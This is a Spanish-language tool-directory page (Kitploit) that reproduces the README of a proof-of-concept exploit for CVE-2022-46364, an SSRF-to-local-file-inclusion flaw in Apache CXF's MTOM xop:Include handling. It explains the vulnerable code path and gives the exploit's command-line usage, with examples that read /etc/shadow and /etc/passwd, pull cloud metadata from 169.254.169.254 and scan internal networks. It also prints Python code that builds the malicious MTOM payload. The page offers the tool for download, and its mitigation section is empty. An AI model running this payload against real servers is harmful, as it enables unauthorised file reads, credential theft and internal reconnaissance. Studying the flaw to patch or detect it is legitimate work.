Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-46364-Proof-of-the-concept — Esta vulnerabilidad permite a un atacante realizar ataques SSRF (Server-Side Request Forgery) en servicios web Apache CXF que aceptan solicitudes MTOM/XOP. El problema reside en cómo se analiza el atributo href de xop:Include, lo que permite que el servidor solicite URLs arbitrarias. | Kitploit
Herramientas/GitHubGitHub/cybermaksx/cve-2022-46364-proof-of-the-concept
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y Educación
GitHubcybermaksx/cve-2022-46364-proof-of-the-concept

CVE-2022-46364-Proof-of-the-concept

Ver Repositorio
22hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Esta vulnerabilidad permite a un atacante realizar ataques SSRF (Server-Side Request Forgery) en servicios web Apache CXF que aceptan solicitudes MTOM/XOP. El problema reside en cómo se analiza el atributo href de xop:Include, lo que permite que el servidor solicite URLs arbitrarias.

Compartir

CVE-2022-46364: Exploit de SSRF a LFI en Apache CXF MTOM XOP:Include

⚠️ DESCARGO DE RESPONSABILIDAD

ESTA HERRAMIENTA ES SOLO PARA PRUEBAS DE SEGURIDAD EDUCATIVAS Y AUTORIZADAS

Este exploit de prueba de concepto se proporciona con fines educativos para ayudar a los profesionales de seguridad a comprender la vulnerabilidad y proteger sus sistemas. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta. Debe obtener permiso explícito por escrito del propietario del sistema antes de realizar pruebas. Al usar esta herramienta, acepta cumplir con todas las leyes aplicables.


📋 TABLA DE CONTENIDOS

  1. Descripción general
  2. Detalles de la vulnerabilidad
  3. Análisis técnico en profundidad
  4. Uso del exploit
  5. Instalación y requisitos 6 Mitigación
  6. Referencias y créditos

📌 DESCRIPCIÓN GENERAL

AtributoValor
CVE IDCVE-2022-46364
GHSA IDGHSA-x3x3-qwjq-8gj4
Tipo de vulnerabilidadServer-Side Request Forgery (SSRF) → Local File Inclusion (LFI)
Software afectadoApache CXF < 3.5.5, Apache CXF < 3.4.10
GravedadCrítica
Puntuación CVSS9.8 (Crítica)
Vector de ataqueRed
AutenticaciónNo se requiere
Versiones parcheadasApache CXF 3.5.5+, 3.4.10+

Este exploit aprovecha una vulnerabilidad crítica de SSRF en la implementación de MTOM (Message Transmission Optimization Mechanism) de Apache CXF para lograr inclusión de archivos locales (LFI) y capacidades de escaneo de red interna.


🔬 DETALLES DE LA VULNERABILIDAD

El problema principal

Apache CXF valida incorrectamente el atributo href dentro de los elementos xop:Include al procesar mensajes SOAP codificados con MTOM. La librería utiliza URLConnection de Java para desreferenciar la URI sin restricciones de protocolo adecuadas, lo que permite a los atacantes especificar:

  • file:// - Leer archivos locales (LFI)
  • http:// / https:// - Solicitudes a la red interna (SSRF)
  • ftp:// - Solicitudes FTP (posible explotación adicional)

Por qué es importante

Esta vulnerabilidad es especialmente peligrosa porque:

  1. No se requiere autenticación - Los atacantes pueden apuntar a cualquier endpoint SOAP accesible
  2. No se necesitan privilegios especiales - El servidor ejecuta las solicitudes con sus propios privilegios
  3. Divulgación de información - Puede exponer metadatos de la nube (AWS, GCP, Azure), archivos de configuración y código fuente
  4. Pivoting de red - El servidor vulnerable se convierte en un proxy para el reconocimiento de la red interna

Configuraciones afectadas

Cualquier despliegue de Apache CXF que:

  • Acepte mensajes SOAP codificados con MTOM
  • Tenga al menos un método de servicio web con un parámetro (de cualquier tipo)
  • Utilice versiones anteriores a 3.5.5 (rama principal) o 3.4.10 (rama heredada)

🧠 ANÁLISIS TÉCNICO EN PROFUNDIDAD

Contexto del protocolo: MTOM y XOP

MTOM (Message Transmission Optimization Mechanism) es un estándar del W3C para optimizar la transmisión de datos binarios en mensajes SOAP. Utiliza XOP (XML-binary Optimized Packaging) para incluir referencias a datos binarios:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

Normalmente, href contiene una referencia CID (Content-ID) a una parte MIME. Sin embargo, la clase AttachmentUtil de Apache CXF procesa los valores de href como URIs genéricos sin una sanitización adecuada.

La ruta del código vulnerable

  1. Análisis de la solicitud:

    • CXF recibe una solicitud HTTP multipart/related con Content-Type: application/xop+xml
    • AttachmentUtil.getAttachmentObject() procesa los elementos xop:Include
  2. Desreferenciación de URI:

    • El método vulnerable llama directamente a new URL(href).openStream()
    • No se bloquea el protocolo file://
    • No hay restricción de red (por ejemplo, no se valida contra rangos de IP internos)
  3. Incrustación en la respuesta:

    • El contenido obtenido se codifica en Base64 y se incrusta en la respuesta SOAP
    • El atacante recibe los datos en el sobre SOAP

Fragmento de código (patrón vulnerable)

// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // No protocol validation!
    return new DataHandler(url.openStream());
}

Por qué funciona el LFI

El protocolo file:// sigue la misma ruta de código:

  • file:///etc/passwd → Java abre /etc/passwd como un flujo de archivo
  • El contenido del archivo se devuelve como adjunto
  • No hay restricciones del sistema de archivos más allá de los permisos del usuario del proceso CXF

Capacidad de escaneo de red

Al iterar a través de IPs y puertos, los atacantes pueden:

  • Descubrir servicios internos
  • Acceder a endpoints de metadatos de la nube (169.254.169.254)
  • Evadir los controles de segmentación de red

🛠️ USO DEL EXPLOIT

Sintaxis del comando

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            Show this help message and exit
  -t TARGET, --target TARGET
                        Target base URL (e.g., http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Web service endpoint path (default: /services/Service)
  -u URL, --url URL     External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)

Explicación de los argumentos

ArgumentoDescripciónEjemplo
-t, --targetRequerido. URL base del servicio Apache CXF objetivohttp://10.10.10.50:8080
-e, --endpointOpcional. Ruta del endpoint SOAP/services/UserManagement
-u, --urlURL HTTP/HTTPS para obtener vía SSRFhttp://169.254.169.254/latest/user-data
-f, --fileRuta de archivo local para leer vía LFI/etc/shadow, C:\ProgramData\secret.txt

📦 INSTALACIÓN Y REQUISITOS

Requisitos previos

# Python 3.6 or higher required
python --version

Pasos de instalación

# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC

### requirements

requests>=2.28.0 urllib3>=1.26.0


---



### Detalles centrales de la implementación

#### 1. Construcción de la carga útil MTOM
```python
def create_mtom_payload(uri):
    """Create a multipart/related MTOM message with xop:Include"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

🛡️ MITIGACIÓN

Descargar herramienta